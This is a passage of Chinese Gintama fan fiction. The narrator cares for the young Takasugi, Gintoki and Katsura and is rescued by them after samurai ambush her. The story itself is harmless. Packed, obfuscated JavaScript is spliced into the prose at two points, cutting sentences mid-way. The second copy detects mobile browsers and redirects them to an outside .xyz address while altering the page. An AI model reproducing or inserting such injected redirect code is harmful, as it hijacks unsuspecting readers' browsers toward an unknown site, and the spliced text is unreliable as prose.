用啊……我不吃这个也很快就会好的……咳咳咳……”高杉咳得小脸通红,看着就可怜,嘴里却说得嫌弃。 相处了这么一段时间,我对他的性子已经很了解。与其说是嫌弃我做的粥,不如说是气自己生病麻烦了别人,也不想我忍着不喜欢的味道来照顾他。虽然长大后的他很阴郁,但现在的高杉小朋友别扭得非常可爱,总是口是心非,实际上却是个很护短也很会照顾其他人的小孩子。 “要我喂你吗?”开了点门散味,我兴致勃勃地挖了一勺子,手在空中绕了两圈,“看~飞机来咯~啊~” 高杉死鱼眼瞪着我,非常不配合地别过头,“阿萤,我不是小孩子了……” “吃一口嘛,飞机都起飞了……”我期待地看着他,哄道,“啊~” 脸蛋微红的小子默了好一会,才在我扑闪扑闪的目光中不情不愿地张口,吃下我递到他嘴边的粥。 “再来一口~”他听话和害羞的样子太可爱了~我忍不住要求道。 “才不要!”高杉咬着勺子拒绝,伸手把碗拿了过去,“我自己来就可以了。” 我失望地扁嘴,不配合的孩子太不可爱了,“那你吃完赶紧睡一下吧,多喝水,很快就能好了。” 高杉抬了抬下巴,边上有几本书,“我看一下书再睡……已经两天没上课了……” “别担心啊晋晋,有银时在你不会垫底的。”我理所当然地劝他,“再说你平时上课也没怎么看书……” 别以为我不知道,这家伙上课光盯着松阳了,能有好成绩纯靠脑子好。 “谁要堕落到跟他比啊……”高杉嫌弃地撇撇唇,眼带鄙夷,“我才不要输给他们……” 好胜心这么强真好。我赞许地拍拍他的头,换来他不爽的瞪视。 随手拿过来书,我兴起自荐,“要不我给你补一下课?别小瞧我哦,我可是全科A的……啊,落语,这是什么鬼?你们就不能学些有用的吗?例如生物化学物理之类的?” “谁会学那些东西啊?”高杉无语地瞪我一眼,懒懒地叹口气,“算了,指望你还不如等假发的笔记。” “我这是英雄无用武之地……都怪松阳不教些实用的,要不算术?我算数可好了。”我骄傲地抬着下巴。 高杉瞥了我一眼,又是一叹,“那个我已经学得够好了。” 这话我可不同意,“怎么可能,你会几何,微积分,代数吗?别小瞧我啊,小子,我可擅长算阴影面积了。” 虽然微积分这些我也忘得七七八八了,但松阳还不一定会呢。 “所以说谁要学这些啊混蛋……咳咳咳咳……”高杉咳得小脸泛红,眼珠子瞄了一下又转过去,哑着声音低语,“你不是要出去吗?别在这里碍眼了……快走吧……” 所以才说傲娇没前途啊……这语气若不是清楚他性子,我的弱小心灵都要受伤了。 无奈得想叹气,别说外头下着大雨,光是这生怕种被抛弃的小狗眼神看过来,我怎么可能丢下他? “晋晋啊,我又不是笨蛋,怎么可能冒雨出去啊?”我笑着按着他的头,把人塞进被子里,给他搁了条湿帕子在额头上,“所以不用看书也不用这样看我,我会陪着你的。” “谁,谁要你陪啊……”他半张脸藏在被子下,含糊地反驳,那双幽绿的眼珠子左看右看的。 “那你陪着我吧~平时这个时候都只有我一个呢……”虽然我大部分时间都在外头耍,但他们上课的时候我确实一个人出去混。 高杉沉默了许久,才翻了个身,小声地道,“既然你不想要一个人……那,就在这里待着吧……咳咳咳,我可以陪着你……” 雨点从天空跌落,敲打屋檐和大地的声响汇聚成曲调,不算动听,但在夏日的午后有种别致的凉快。 “晋晋啊……傲娇真的没前途哦……” …… “滚。” 18.庆幸相遇 尽管外头有着各种各样的传闻,例如天人的飞船进入各大城池等的危险论,但这条村子的日子还算是平静安稳,这一片天空也还没有出现飞船的影子。 关于松阳的谣言仍然有在流传,不过村里的人家倒是没什么心机,现在也不会刻意跟松下村塾的人保持距离。 严格来说,大家都挺淳朴的,跟那些碰到便警惕我们的下级武士不一样。 “那是因为你来了啊。”听到我的感叹,附近居酒屋的姐姐咯咯笑着道。 我指了指自己,不敢居功,“怎么可能?我来之前你们跟松阳的关系也不错啊。” 长相明媚大方的老板娘是个寡妇,跟松下村塾的关系一直不错——主要她们很照顾桂,跟松阳的交流也比较多。 此刻我正坐在居酒屋门口的长凳上跟她闲聊,在居酒屋工作的女人们都是很好的人。 “大家确实觉得他免费教育这些孩子很不错,但是……说到关系,也没那么亲近。”姐姐手点着下巴,想了想才轻笑道,“有时候我也会觉得他有点深沉,难以接近,他对孩子们倒是很好。但是呢,你来了之后总是跟附近的人家都有说有笑的,大家也慢慢乐意亲近你们,就连那几个坏小子都可爱起来。果然,一个家里头是少不了女人的。” 啊哈……我有点心虚,因为我乐于亲近村里的人家是带了点目的性。来到陌生的环境,我总是习惯了解周围信息,确保自己所在环境的安全性,没想到这样居然成为姐姐们眼中的亲近。 “什么嘛,松阳一直把孩子们照顾得很好。”在这个年代,很多孩子无家可归,他收留了银时他们,也把他们教养的这么出色,已经很厉害了。那几个孩子脸上从来没有苦大仇深,尽管早熟了点,但心理都很健康。 “不一样的,阿萤。女人的笑容是男人再温柔也无法取代的哦~”姐姐轻挑着我的下巴,意味深长地道,“男人的温柔是离不开坚定的意志,但女人的温柔永远带着爱。人啊,无论年纪,是绝对拒绝不了这种充满爱意的温柔。” 好深奥,这种东西我有吗?爱意什么的,还不至于吧,充其量就是对这些孩子心生怜惜……我眨了眨眼,姑且当她是在夸赞我。 那些毫无防备地接纳我,亲近我的孩子……谁能不疼爱呢? “阿萤~”欢乐的呼唤声传来,我抬头便看到松下村塾放学的孩子们朝我招手。 告别挤眉弄眼的大姐姐,我朝他们走了过去,几个相熟的小孩已围了过来。 “你今天去采买了吗?”松阳接过我手上的包袱,笑着问道。 “对,家里的酱油都没了。”我想起今天的意外收获,从包袱里翻出一个小罐子,“这个,分给大家吧~” 孩子们看了一眼,顿时欢喜地叫了起来,“诶,是金平糖!” “嗯嗯,今天去杂货店的时候,那个老板娘的孩子噎住了,我顺手帮她咳出来。这是老板娘送的,不用钱哦~我请大家吃糖~”我打开罐子,让他们自己挑。 孩子们没有争抢,非常自觉地让女孩子先挑,而且都很有分寸地只拿一颗。我等他们拿完,又笑着各塞了一颗,得到他们惊喜的笑容。 “说起来,你怎么帮她咳出来?”松阳好奇地偏头。 “就是这样,来,银时。”我随手弹出一颗糖,被我点名的银时下意识地张嘴。 糖果猝地入喉,他顿时噎住了,抓着脖子无声呐喊。我极快地站在他背后,环着他的腰,一手握拳,拇指一侧放在他胸腹间,另一只手抓住拳头,快速向上重击压迫他的腹部,他啊的一声把糖吐出来。 把海克立姆急救法标准地演绎一次,我顺便讲解动作要领,“记得,动作要快速有力,不然的话就会有危险哦。” 孩子们握着拳头一眼不眨地看着我们,很认真地点点头,“知道了。” “最大的危险是你才对啊!”银时炸毛地怒指着我,“我差点就噎死了混蛋,啊!糖还掉地上了。” “已经脏了,别捡了……还有呢。”我没好气地拎着他,那糖滚了两圈都满是灰尘了。 “是哪个蠢货大意,看到东西飞过来哪有人直接用嘴来接啊?正常人不是拿手接住的吗?自己脑子不上线,好意思怨阿萤么?”高杉没好气地鄙视他,顺脚就把银时想要捡起来的糖踢开。 “闭嘴!就是我噎死了你今天还是输给我了~”银时气愤地怒指。 “少啰嗦!我明天就会赢回来的!” 大家都已经习惯了他们每日必有的争吵,无视这些插曲,跟我们道别后便往自己家里走去。我也跟着松阳他们走在回家的路上,银时气呼呼地鼓着小脸,眼珠子不时扫过来,活像是等着人哄的猫咪。 “给,银时。”我摇头失笑,把一个小巧的和果子递过去,“谢谢你为大家做示范~” 飞快地接过和果子,银时别过脸擦了擦鼻子,“别以为这样就算了,阿银没这么容易就哄好的。” “说得那么傲气,你倒是别拿啊。”高杉切了一声,专业拆台,“阿萤你根本不用给他,反正他也没噎死。” “别这样嘛,多亏了银时做示范,大家才看得那么认真的。”桂笑着鼓励,“银时很棒哦~” “一点也没有被安慰到啊!”银时咬着和果子含糊不清地喷道。 松阳笑着看他们闹,完全没有阻止的意思。他看了眼包袱里头的东西,惊讶地问道,“诶,这个菜是你买的吗?我记得这时节还挺贵的。” 我看了眼他手中的菜,奸笑着以肩膀碰了碰他,“不是,是回来路上隔壁村口的神山女士给的,说是买多了要丢,让我拿走别浪费~” 那位富有的寡妇神山女士对松阳一直很有好感,一开始还把我当假想敌各种刺探,现在则想要策动我当她的红娘。 松阳笑容不变,默默地放下菜,朝我抬起手,准备往我额心弹来。 “啊哈哈哈,说笑的呢,我怎么会为了这么个菜把你卖了呢。我义正辞严地拒绝了,这是我们家附近的上野家小哥送的,说是别人给的让我们也尝尝。”他这招超疼的,我立马怂了,老实招认。 “真是个好人呐~”松阳笑眯眯地样子在夕阳中有种微凉晚风的舒适。 “都是想撩你们啊,你们发什么卡。”银时挖着鼻孔打了个哈欠,一脸没救了的表情看着我们。 我懒得理他,颇为苦恼地蹙眉,“不过,这个菜味道有点奇怪……” 听到我的话,高杉忽然问道,“你不喜欢吃这个吗?” “倒也不是不喜欢……”只是我还没想到怎么弄,我也是第一次看到这种菜。 桂看了眼高杉,拉拉我的袖子,“高杉喜欢吃这个菜。” “诶,真的吗?”我讶异看向高杉。 他眼神一虚,别过头,“也……就还好,不讨厌而已。” “啊哈,那就是喜欢了~”我顿时充满干劲,挽起袖子,笑着朝他道,“那我要努力把它做好吃些~你有喜欢的做法吗?” 高杉眼珠子瞥了我一眼,又镇定地转向另一边,“随便啊……也不用很努力。” “啊啦,高杉君你的耳朵红了哦~”桂笑着碰了碰他的耳朵。 “少啰嗦,是夕阳照的而已!假发你的脸才红了呢!”高杉反驳的样子像是被主人揪了尾巴的猫咪,可爱得很。 我笑着伸手揉了揉桂的头,他莫名地看着我,笑道,“阿萤,怎么了?我可不是小孩子。” “我在夸你啊,成年人是可以夸赞小孩子的~假发好乖~”我搂着他的肩膀,慢慢往家走去。 “什么啊……都说了不是假发,是桂。” “对了,松阳,我们今晚吃关东煮会不会很奇怪?”现在才夏天,我总觉得关东煮在冬天才会吃。 松阳想了想,温柔地摇头,“不会啊,大家都挺喜欢的,你想要做吗?” “嗯嗯,买了据说很甜的萝卜,还有居酒屋的姐姐刚刚教我做福袋,我想要给你们试试。”我摸着下巴,从怀里掏出一颗闪亮的珠子,“光这样吃不够有趣,看,这个是村口的小子输给我的琉璃珠。” “什么嘛,你连小孩子的玩具都不放过了吗?你的羞耻心和人品呢?”银时惊呆了,听桂说过那珠子他挑战了三天都没赢到手。现在我不费吹灰之力就拿着了,他的眼神明显不忿。 “这不是重点,”我一手把他拍到后面,朝松阳道,“我把它洗干净包进其中一个福袋里头,我们看看哪位幸运儿可以吃到~” “啊啊,干嘛搞这种店铺忽悠客人的抽奖……”银时打了个哈欠,懒散地撇撇唇。 “很期待哦~那,吃到的人可以多得一份甜品吧,怎样?”松阳笑着点点头,然后看向那三个孩子。 “赞成!”桂握着小拳头,期待地看着我们。 “那个幸运儿一定是我!”银时一秒燃起来,目光灼灼地盯着我手中在夕阳下发亮的珠子。 高杉不感兴趣,“又不是过年,还搞这种游戏……” “昂?晋晋不喜欢吗?”我弯身看着他,有点失望地眨了眨眼。 “也,也不是啦……”避开我的注视,他眼珠子往上瞟去,呐呐地小声道。 “那晋晋加油哦~成为我们家的幸运儿吧~”我灿笑着拍拍他的头。 “别把我当小孩啊!那种东西……” 松阳蓦地回头朝他笑道,“加油呢,晋助,老师也不会让你哦~” “是!”高杉一秒燃了起来。 我失笑,果然是松阳控。 这个季节早晨的阳光正好,不会刺目却又暖洋洋的,我眯起眼感受暖意洒落在身上,享受着沐浴光芒的那种幸福感。 “阿萤,这样就可以了吗?”桂的声音从身后传来。 今天松阳有事外出,他们不用上课,我便让他们把被子都拿出来趁着天气好晒一下。 转身看着他们抱着自己叠好的被子,像鸭子出笼一样排着队走过来,脸被被子挡住只露出各人极具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“就是,上次骗我们有奖励,结果奖励是给你洗锅……还要是老师中的奖……”高杉对我上次坑了松阳还有意见。 “他也洗得很高兴好吧,我还没说他把碗打破了呢。”我决定挽回一下自己的信誉,“这次的奖励就是三颗牛奶糖~” 银时一听,没精神的红眸顿时一亮,摩拳擦掌地笑了。 “那银时你把所有走廊都擦了吧,奖励都给你。”高杉摆摆手,不感兴趣。 “怎么,这么怕输给我吗?手下败将~”银时咧嘴一笑,不屑地瞥着他。 “谁怕啊!”高杉立马炸毛,拿着抹布跟银时边挤边跑去走廊那边。 幼稚……我摇了摇头,手肘搁在桂的肩膀上,“晋晋他一直这么好骗吗?” “不,只是不想输给银时而已。”桂笑着解释,“我们现在去那块地吗?” 早两天我看到房子隔壁有一小块空地,平时大家都不走那边,空置有些浪费。恰好邻居送了些蔬菜种子,我便打算翻了一下地试试能不能种些东西。 25岁就觉醒某些传统血脉,我也有点无奈,谁让咱们家不富裕呢。 桂知道后自告奋勇要帮忙,果然是好孩子。 其实在跟松阳提过后,他已经提前帮忙翻了一下,我们去也不过是松松土撒些种子而已。 “这些种子他们都不要了吗?全送我们?”桂好奇地捏着一颗种子眯眼看着,不太能想象这个东西能长成菜花。 “是啊,那小哥说是他父母都去城里工作了,没人打理。”我研究着放多少合适,随意地回道。 桂安静了一下,忽然问,“阿萤,你也会离开去城里吗?” 昂?我疑惑地抬起头,不但桂,连那边伏跪擦走廊的银时和高杉也看了过来。 我眨眨眼,露出笑容,“不会哦,我对城里没兴趣,我更喜欢在这里跟大家一起。” “真的吗?”桂笑着蹲在我身边,大眼扑闪扑闪的。 桂就是那种特别懂事的孩子,连笑容都很让人心疼。我听过他们的身世,在这个时代不算罕见,各有各的不幸。 这也是我敬佩松阳的原因之一,他让这些背负着痛苦身世的孩子,在这片天空下笑得灿烂。 我摸了摸他的头,“除非命运有其他安排,不然你们需要我的话,我一定会在你们身边的。” 阳光洒在身上很温暖,就如同他们朝我绽放的笑容。 “那不是理所当然的吗?你也没其他地方可以去了。”银时坐在走廊上,朝我咧出坏笑。 “你也一样哦~”我不服输地比了个鬼脸,“赶快擦干净过来帮忙。松阳回来前我们要把种子都弄好,不然下午就不能出去玩了。” “你不是成年人吗?干嘛老让我们做这个?我们是童工吗?” “哼哼,你不知道吗?成年人就是可以指挥小孩子的。” 是的,比起所谓城里那些未知的生活,我更喜欢这种田园式的打打闹闹,更喜欢他们。虽然不知道能在这里多久,但……人生每一个阶段,每一段经历都值得珍惜。 每一个遇到的人,都值得庆幸。 19.保护家人 “阿萤姑娘。” 身后传来一个带笑的嗓音,我回头,眼前的少年穿着简单的日式男装短打,留着一头短发,笑容腼腆。 是附近人家的小哥,他的弟弟在村塾念书,经常给我们送自己种的蔬菜。跟我走在一起的银时和高杉被我压着头打了个招呼,不爽地踢着地面的灰尘。 “那个,我有点东西想要给你,可以跟我走一趟吗?”少年低着头,以蚊子般的声音艰涩地道。 我顿了一下,看着少年想了一会才把手中的东西塞给高杉,“没问题。晋晋,你们先回去吧。” “昂?”银时撇了撇唇,凑近我低声警告,“喂,那小哥超害羞又纯情的,你别乱招惹人……” 高杉也凑了过来,小脸正经得像在上课,“老师说了,风流债最麻烦啊。” 松阳,你跟孩子说这些没问题吗?怎么听着就有些故事的样子? 我无语地瞪他一眼,配合地低声道,“别瞎说,这小哥不是我的菜,我只是去顺他家的菜而已。” 有便宜不占是白痴,这个道理在我强调下现在松下村塾的人都认可。 “就知道你喜欢肌肉男……”银时切了声,双手放脑后,懒懒地往村塾走。 “喂,你也帮忙拿一些啊混蛋!”高杉愣了一下,气恼地追上去。 我笑看着他们远去,才敛了笑容转向那个焦急等待的小哥。小哥看上去有点慌乱,一路都不敢看我,带着我往村边的林子去。 “阿萤姑娘……对,对不起……”忽然停在林子前,小哥猛地回身,像是下了什么决心般低着头道,“我……你还是走吧,我其实……” “都到这里了,怎么也得看看是哪个人想钓我。”我笑着拿布带绑起和服的袖子,随手从路边抽出一根棍子,“再说,他们不是抓走了你弟弟次郎吗?” “诶?你怎么知道?”小哥猛地抬头,表情还带着一抹惊慌和心虚。 真是的,往日送东西都不敢说话的人忽然要跟我单独聊聊,我要是没觉得有问题才怪。他们家只剩下三兄妹相依为命,要说有什么能威胁的,估计也就弟妹了。我好奇是谁那么大费周章地想要见我,之前冲着村塾的人都是直接找那三个小子。 “这就是松下村塾的那个女人?” 走进林子,便看到五个身穿裙裤黑衣,梳着月代头的男人,他们的脚边躺着两个小孩。 “对,我看到那几个小子跟她一起。”其中一个人指着我,脸上还带着伤,“那几个小子太能打了,我们先对付她……” 我摸了摸脸蛋,有点受伤。尽管剑道无法跟松阳,银时这些人比,但被认定是村塾最弱的那个,作为大人的自尊心还是不爽。而这种不爽随着那两个孩子抬起淤青的脸和看到他们身上的伤痕时转为气愤,那股久违的怒火从心底燃起,我握紧了拳头,眼神阴森地看过去。 “既然我来了,那两个小鬼可以放了吧?”我指了指躺着的那两个朝我哭得稀里哗啦的小孩子。 “你还有空担心别人?啧,这娘们还挺漂亮的……”男人的眼神开始放肆,尤其是看到我撩起和服的衣角,把衣摆塞进腰带后,那猥琐的目光一直留连在我的腿上。 “喂,小哥……找机会把他们带走,别回头!”我沉声对那边担忧又愧疚的小哥道,然后不理会他的纠结,抽出木棍,扫过他们的竹刀。 看起来,他们没打算杀人,lucky~当然,这时候我还不知道,有的人用木刀都可以杀人……还能以木刀砍碎别人的真刀┓( ??` )┏。 “丑男们,我生气了。但循例还是说一句,”我棍指他们,肃容冷道,“别动,双手放头上,你有权保持沉默,但你所说的一切都将成为呈堂证供。然后……去死吧!” 我大喝一声,冲了上去。 木棍抵挡不了多久,就算月见萤曾受过剑道训练,那也是哄客人的花招。不过没关系,我要的不过是他们围过来而已。挡了几招,棍子被打飞的时候,我瞥见那个慌乱的小哥已抱着弟妹逃了。 干脆地掰了掰手指,我昂首看着他们,咧出一个跟成人版晋晋差不多的笑容,“好了,剑道课结束,我们来上体育课吧。” 横劈而来的竹刀被我抬腿挡下,我猛地踩下刀身,极快地旋腿狠踢对方的侧脸。握紧的拳头没有一秒犹豫地挥舞,正中那人身后冲过来的同伴。从他们脸上喷出的鲜血飞溅,染红了我的拳头。 没错,我剑道不行,是因为我受的从来不是这种冷兵器教育,而是近身搏斗。太极,巴西柔术,跆拳道,这些我都不错,所以,比起冷兵器较量是有点吃亏,但……打架的话还是有点经验的。 1VS5的过程不适宜和平主义者观看,先略。 无论什么时代,打架要是碰上多人混战都不怎么容易,体力流逝得比我想象中还要快!我扫腿绊倒一人,狠狠地肘击他的咽喉,随即翻身,刀锋瞬间砸在我原本躺着的地方。 用力跃后,我按着被竹刀打疼的肩膀,看着吃力地站起来拿刀指着我的男人,不太愿意承认,嗯……无兵器在手还是比较吃亏。 身上淤青不少,但对方脸上的血迹看起来比我惨多了。而且五个大男人里头四个倒下没有知觉,我还是挺满意的。最后那个也站不稳,再坚持一下吧…… “有点不妙啊……希望那小哥有点脑子帮我去报警……虽然这些人也许跟警察勾结了。”松阳教学到底挡了别人什么路?为什么总是针对我们? “阿,阿萤……”稚嫩的嗓音忽然从一般传来,我愕然看过去,是次郎跑了回来。 “你回来干嘛?赶紧逃啊!”我怒道,再不济我也不用一个孩子来支援! “我不能让你一个人留下啊!”次郎拿起地上的人掉落的竹刀,摆出迎战的姿态,“我也是……一个武士啊!” 战况因为他的加入而更混乱了,杂乱的脚步声陆续传来,我的期待在看清来人的时候瞬间转为绝望。 妈的,对付女人和孩子,他们竟然还找支援?吃力地挡过竹刀,我抓着次郎便往突破口撤。跟银时他们不同,次郎练剑道以来都只是在道场带着护具实践过,能撑过成人的十来招已经是极限了,被我拉着踉跄两下便摔倒在地。 刀刃的寒光一闪而过,我心下大骇,那些支援有人带了真刀! “小心!”来不及细想,我一把扑过去把他护在身下。尖锐的痛在肩膀处爆发,细碎的黑发飘散在我脸侧。咬紧牙关,我用力往边上翻去。 对方的刀刃顿一下后追了过来,来不及了!我抱紧次郎,睁大眼看着越来越近的刀刃。 猛地,一抹红光骤闪。嘭的一下,一柄眼熟的刀鞘插在地上,挡下了那原本会划在我身上的刀刃。 “阿萤——” 比声音更快的,是重击在头上的剧痛。眼角的余光扫到男人和横过来的竹刀,然后……晃动颠倒的画面中,有三道极快的身影冲进我的视线里。 ……………… …… 三小只打斗场面掠过……………… 还没睁开眼睛便觉得浑身都痛,又酸又麻的让我动一下都想哭。上一次有这种痛感已经是被神威穿胸而过了吧…… 吃力地睁开眼,便看到松阳温柔的笑容,下意识地笑了笑,“松……阳?” “太好了,你终于醒了,睡了快一天呐。”松阳看到我醒来,神情一喜,眼神随即微暗,“抱歉,都是因为我……” “次郎怎样?报警了没?我要追偿……”打断他的话,我紧张地问道,“至少医药费和精神损失费都不能放过他们……” 松阳被我一阵抢白,微微一愣,那双柔和的眸子轻颤,叹气般低笑,“阿萤你啊……真的是让人猜不透。次郎没事了,他妹妹也没事。没有报警,因为那些人受的伤比你重多了……不过医药费倒是可以考虑时候追回一下。” 我就知道……这里的人都不信警察。比我重多了啊……那三小只还有松阳对他们做了什么啊?不过,都没事就好了。 忍着酸痛坐起来,落在肩头的发丝挠得我脖子痒。原本及腰的长发一半被砍到及肩,我有点心疼。如今的我时间暂停了,头发估计是不能长回去。 “没关系,还是很漂亮。”松阳抬手揉了揉我的头,递给我一把剪刀。 “那当然。”我扬眉笑道,随手把剩下的长发剪齐。“那些人……是怎么回事?” 松阳一顿,没有笑容的脸色有丝深沉。 跟我想的一样,那些人是附近一些忌惮他的武士,一直怀疑他结党搞一些反政府活动。之前曾对高杉他们出手,后来被震慑了安分了一段时间。但最近又有卷土重来之势,凑巧我看起来比较容易入手,便有了这么一出。 “不过,我已经好好警告过他们了,大概能安静一段时间。”松阳偏头,笑容和煦地安抚道。 虽然不知道他怎么警告,但桂曾说过除了银时基本没几个接得下松阳几招,那应该是会遭禁播的警告。刚醒来大脑还有点懵,我也就懒得去细想。 “他们呢?”我记得最后是他们赶来大杀四方的画面,现在居然没看到人,不会受伤了吧。 松阳神秘地竖起食指抵在唇上,朝我眨了眨眼,“他们在外面等着呢……” 等着?我看了眼外头的夜色,跟松阳两人趴在门边看过去。 今晚月色不怎么亮,还起了些雾,那三个身影就这样并排坐在走廊边,动作一致地低着头,背影看起来有点挫败,黑压压的一团笼罩着他们。 “怎么了?我没事他们很失望吗?”我手撑在松阳头上,开玩笑道。 “不是哦,”松阳嗔怪地看了我一眼,温润的嗓音在夜色中有种感叹和安抚的意味,“他们很愧疚呢,自责没有把阿萤保护好。” “不会吧,他们的神经不是一向比考试的心还粗吗?”平时打打闹闹也没见他们对我有多爱护啊? “哈哈……”松阳没反驳他们粗心这点,忍俊不禁地道,“他们很喜欢你,所以才会愧疚。” “虽然我很自信,但我又不是你,他们不会有这么细腻的情绪啦。”这三个家伙只会在松阳面前乖巧,对他和彼此都在意得不得了。 我来这里时间不算长,又没个大人样,相处起来也没把他们当小孩(嗯,也许是我没把自己当大人),他们跟我关系算是不错,但说到把我纳入保护范围也太夸张了。我才是成年人好么,我保护他们还差不多。 “阿萤你在这方面太无感了。你来了之后,他们才像个普通孩子呢,你对大家来说已经很重要哦。”松阳鼓励般拍拍我,语气肯定。 “真的吗?”我有点吃惊,觉得他在哄骗我。 真要说的话,我对小孩确实挺温柔的,也尽力照顾着大家。但对那三只,因为跟成人版相处过的关系,根本无法以大人角度对待,打打闹闹时能收点力气算有良心了,平时更是离不开吵架打嘴炮。 “哪怕是我做主留下你,但能让那三个顽皮的小子,还有其他村塾的学生们都接受并乐于围在你身边,阿萤你一定有自己的魅力哦。” 我捧着脸蛋,自信地道“那一定是因为我漂亮~” 不是我自负,这个外表只要我装柔弱些,基本能斩杀大部分男人。高杉小朋友一开始不就因为觉得我柔弱不排斥我吗? “啊哈哈哈……”松阳笑得双肩乱颤,抬头看着我,双眼像是能看透人心般,却不会让人生出防备,反而甘愿跌入那片温柔中,“也许,不仅仅是因为漂亮哦。阿萤你,有着我们都没有的东西,那是大家都向往的。” 昂?我怔然,有这种东西我自己居然不知道? “别忽悠我哦,松阳,我可不是你的学生。” “阿萤不是我的学生,是家人。”月色之下,松阳弯然的眉眼让我想起小时候母亲哄我睡的神情,他声音轻柔坚定,“是我们的家人哦。” 他的话让我眼眶有些发酸,在这个时代从来没感受过的归属感因这句话和他的坚定眼神在心底油然而生。这些话好像有点交浅言深,但他的态度和眼神传达出来的却是很认真的认可。 “松阳……”在我的世界见多了虚情假意和对他人的防备,这种爽快的接纳让人动容。 人是群居的生物,不可避免地想要得到认同,以此获取安全感,我也不例外。 “他们愧疚,因为没有保护好自己的同伴,也没有保护好自己的家人。” 心尖的一角慢慢软下来,我没好气地哼了声,“本末倒置了吧,啊不对,你怎么也一脸认同? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943519|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我才是大人好吧……我才是应该保护他们的那个。大家都没事不是很好吗?干嘛还这样,讨厌。” 作为成年人,就算平时跟他们一起幼稚打闹,但有事的时候我从没想过要让人来救我。无关他们强不强大,是我受的教育是尊老爱幼,我可以利用其他成年人或者找松阳,但我真没想过找他们。次郎冲回来的时候,我只有担忧和怒气,一点也不觉得来了个帮手。 “阿萤你也稍微相信一下他们吧。不说银时那家伙,就是晋助和小太郎也是很强的哦,而且,他们还会不断地变强。在这个时代里,他们总有一天会找到他们自己的武士道,成为时代耀眼的存在。”松阳双眼里头尽是对他们的爱护与期待,笑容有着我看不懂的温柔和感慨。 我抬眸看着那三个现在还有些单薄的身影,无端地浮现他们的成人版。 时代耀眼的存在……从左边顺数过去,一个是激进派攘夷志士头子,一个从找走失的小猫到打击犯罪啥都干的颓废糖分控,一个脱线攘夷通缉犯头子…… 嘴角抽了抽,我捂脸无力吐槽,还是让松阳保留着这么美好的展望吧。人生啊,还是要对未来有些期待的。 “阿萤……他们就拜托你了。”松阳推着我的肩膀。 啊?说这么多就是想我照顾他们? 我翻着死鱼眼,没好气地瞥向他,“哼,诡计多端的老男人。” 说罢,我站起来,走向那边三个小子。 劝人我其实不太在行……这样想着,我脚下忽然一绊,整个扑倒在地,冲力影响下我诡异地五体投地姿势滑到他们身后。 MD,谁把走廊擦得这么顺滑啊! “喂,就算我们救了你,也不用行那么大礼吧。”银时回头,挖着鼻孔,一双死鱼眼俯视着我,那眼神仿佛我做了什么蠢事般。 你妹的愧疚啊……这三人只是闲得在晒月光浴吧? 我死鱼眼回望,“你们能不能当没看到我,我再来一次?” “起来吧,笨死了。”高杉托着腮回了个眼神,带着浓浓的鄙视。 松阳,这就是你说的惭愧?你对他们的滤镜到底有多大啊? “怎么,这发型是失恋了吗?”银时揪了揪我的头发。 “你懂什么,这叫改变形象。女人就是要百变才有吸引力。”我反驳得非常不情愿,这头长发我平时很宝贝的,就这样被砍掉也很心疼。 “阿萤……你还好吧。”桂看了眼我散落的及肩黑发,愧疚又怕提及我伤心事的样子看着很别扭。 只有桂这个小可爱是真的关心我。爬起来拍拍他的头,我笑着道,“除了头发,啥都没少。” “断了也好,都说头发长见识短,没准你以后脑子能灵活些。”高杉哼了声别过头,声音比平日跟银时吵架还低闷。 我有点惊讶,这小子怎么看起来不像是在担心我,而是在生我气? “那时候你就知道了吧……”银时抱着他的刀,背对着我,语气带了点沮丧,“那小哥不是想撩你,是被威胁了。但你还是叫我们先走……某个武士家的小少爷还天真到帮你提东西。” “喂!你自己不是也走得很爽快吗?明明自己也没看出来,后来还不是我觉得不对劲!”高杉炸毛地怒指他,“说多少次,我已经跟家里没关系了!” “哦哦,你都自动代入小少爷的称呼了吗?高杉小少爷,你觉得不对劲的原因是那小哥没胸肌她也答应吧?”银时挖完鼻孔的手指轻弹,高杉瞪着自己衣领上的鼻屎霎时爆了。 “那是你觉得好吧!我明明说那小哥看着就不是个会主动跟她说话的,还有,刚才差点被刀刺到的不是你吗?还把那个偷袭的家伙甩到那边,要不是老师,阿萤就被那人砸到了!” “少啰嗦,那是我一时大意而已!松阳来之前我不是替她挡了吗?” 两人越吵越起劲,隐约又要打起来的样子。 “好啦好啦,你们别吵了。”桂头疼地拉着他们。 我忽然有种大笑的冲动,这些家伙啊……怎么就这么可爱? 张开手,把三个不同颜色的头狠狠地按到一起,在他们反抗之前把这三个半大不小的男孩抱进怀中。三人反抗的动作一僵,别扭地缩着身子。 下巴搁在那个柔软蓬松的银色天然卷上,我放柔了笑容,“谢谢你们救了我,晋晋,银酱,假发。” “……不是假发,是桂。”桂握着我的手臂,“对不起,阿萤,我们还不够厉害呢。” “我们会变强的,不但是你,还有老师和大家,都会保护好的。” 第一次那么乖地任我抱着,高杉不习惯地想拉开他跟银时贴着的头,低声道。 “哼,老子本来就很强。等着吧,总有一天,我会比老师还强,然后……”银时垂着头任我压着,抱着刀的手握紧刀鞘。 这些混蛋,跟他们老师一样,轻易就让人感动得一塌糊涂。我搂紧他们脖子,柔声道,“知道了……反正人类这种生物,一旦有了想要保护的东西,人或者物,就会下意识让自己变得更强。那……以后就拜托你们了哦,加油吧,小小的武士们~” 我大概能理解他们现在慢慢认可的武士道了。这三个接受松阳教导的小男孩,就如同在人生路上捡到珍宝般,开始懂得把怀里的东西守护,开始真正变得强大。 这样的他们,也许真的会变成时代耀眼的存在哦。 “那不是理所当然的吗?”银时脑袋左摇右摆地挣开我的压制,仰起头咧出一个坏笑,“你那副感动的样子也太丑了,赶紧收起来,不然我要吐了。” 